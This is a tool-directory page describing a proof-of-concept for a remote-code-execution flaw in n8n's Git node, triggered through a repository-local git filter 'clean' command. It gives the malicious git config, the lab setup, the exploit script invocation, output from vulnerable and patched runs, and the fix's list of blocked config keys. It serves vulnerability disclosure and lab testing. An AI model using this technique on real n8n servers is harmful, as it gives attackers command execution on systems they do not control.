Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85168-PoC — CVE-2026-85168 — n8n Git node RCE from repo-local filter.*.clean / merge-driver config on add|commit|checkout. Verified v2.35.3 / v2.36.2. | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-85168-poc
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationPenetration TestingRed TeamingLabs & Practice
GitHubboreas37/cve-2026-85168-poc

CVE-2026-85168-PoC

CVE-2026-85168 — n8n Git node RCE from repo-local filter.*.clean / merge-driver config on add|commit|checkout. Verified v2.35.3 / v2.36.2.

View Repository
11225 days agoNot yet reviewed
Share

CVE-2026-85168 — n8n Git node RCE via repository-local git config

The Git node pinned the external-program config keys it knew about with -c (core.sshCommand, core.fsmonitor, core.pager, diff.external, credential.helper, core.gitProxy, gpg.program, init.templateDir) but never checked the repository's own .git/config for the content-filter and merge-driver families. A repository that defines

[filter "pwn"]
    clean = <command>

together with a matching .gitattributes (* filter=pwn) makes git execute <command> during an ordinary Add, Commit, Checkout or Pull performed by the node. The command runs as the n8n process user (node, uid 1000).

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Affected: < 1.123.73, >= 2.0.0 < 2.35.4, < 2.36.2
  • Fixed: 1.123.73 / 2.35.4 / 2.36.2
  • Fix commit: 4c60d38f2a83 ("chore: Bundle/2.x (backport to release-candidate/2.36.x)") → packages/nodes-base/nodes/Git/GenericFunctions.ts gains findBlacklistedKeys() with patterns for filter.*.(clean|smudge|process), merge.*.driver, remote.*.(uploadpack|receivepack), gpg.*.program, core.askpass, core.editor, core.alternateRefsCommand, gc.recentObjectsHook, hook.*.command, sequence.editor, gpg.ssh.defaultKeyCommand, url.*.(insteadOf|pushInsteadOf); Git.node.ts calls validateGitConfig() before add/commit/checkout/pull/push and aborts with Repository Git config key '<key>' is not allowed.

Precondition (part of the vulnerability)

The attacker must be able to get a repository with a local config of their choosing in front of the Git node — an imported/shared checkout, a project repo on a mounted volume, etc. In this lab --prepare plants exactly that repository inside the container (stand-in for the file-write step of a workflow author). Everything after that is done over the n8n REST API by an authenticated user.

The node only accepts repositories under ~/.n8n-files (restrictFileAccessTo default) and refuses paths matching the .git block pattern, so the lab repo lives at /home/node/.n8n-files/pwn-repo.

Lab

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve85165      -f docker-compose.2353.yml up -d   # 2.35.3 -> :20001
docker compose -p poc-n8n-cve85165-fix  -f docker-compose.2362.yml up -d   # 2.36.2 -> :20003

n8nio/n8n:2.35.3 ships [email protected] (no findBlacklistedKeys) → vulnerable. n8nio/n8n:2.36.2 ships [email protected] (blacklist present) → fixed. Note the 2.36.1 Docker image already ships [email protected] as well, so that image is not vulnerable either; 2.35.3 is the closest published vulnerable tag.

Run

python3 n8n_poc.py --url http://127.0.0.1:20001 \
  --container n8n-vuln-2353 --prepare --command 'id'

Vulnerable — n8nio/n8n:2.35.3 (run_vulnerable_2.35.3.txt)

[*] target   : http://127.0.0.1:20001
[*] repo     : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth     : logged in as [email protected]
[*] workflow : vuCSuHLscbXUty8i (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 30
[*] git node : ok {"success": true}
[+] evidence read from container:
    uid=1000(node) gid=1000(node) groups=1000(node)
=> PASS (CVE-2026-85168: git executed the repository-configured command as the n8n user)
exit=0

Container-side check (side_effect_2.35.3.txt):

-rw-r--r--    1 node     node            48 Oct 24 14:01 /home/node/.n8n-files/pwn-repo/out.txt
uid=1000(node) gid=1000(node) groups=1000(node)
--- git config
[filter "pwn"]
	clean = sh -c "id > /home/node/.n8n-files/pwn-repo/out.txt; cat"

Patched — n8nio/n8n:2.36.2 (run_patched_2.36.2.txt)

[*] target   : http://127.0.0.1:20003
[*] repo     : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth     : logged in as [email protected]
[*] workflow : PteOTvLgk4FC8M4Z (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 16
[*] git node : error Repository Git config key 'filter.pwn.clean' is not allowed
[!] no evidence file in container: cat: can't open '/home/node/.n8n-files/pwn-repo/out.txt': No such file or directory
=> FAIL (CVE-2026-85168: git config key rejected before the operation ran)
exit=1

The repository is identical on both targets; only the n8n build differs.

Evidence channel

Primary: the workflow output returned by GET /rest/executions/<id>?includeData=true (the Git node's {"success": true} vs the rejection error). Secondary (because the command's output lands in a file, not in the HTTP response): the proof file is read back with docker exec <container> cat <repo>/out.txt — that is the --container step, clearly marked lab-side in the script.

Files

filecontent
n8n_poc.pystdlib-only PoC (--url --email --password --command --repo-path --container --prepare --output)
run_vulnerable_2.35.3.txt, run_patched_2.36.2.txtraw runs
evidence_vulnerable_2.35.3.json, evidence_patched_2.36.2.jsonJSON evidence
side_effect_2.35.3.txt, side_effect_2.36.2.txtcontainer-side check
docker_logs_2.35.3.txt, docker_logs_2.36.2.txtcontainer logs
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →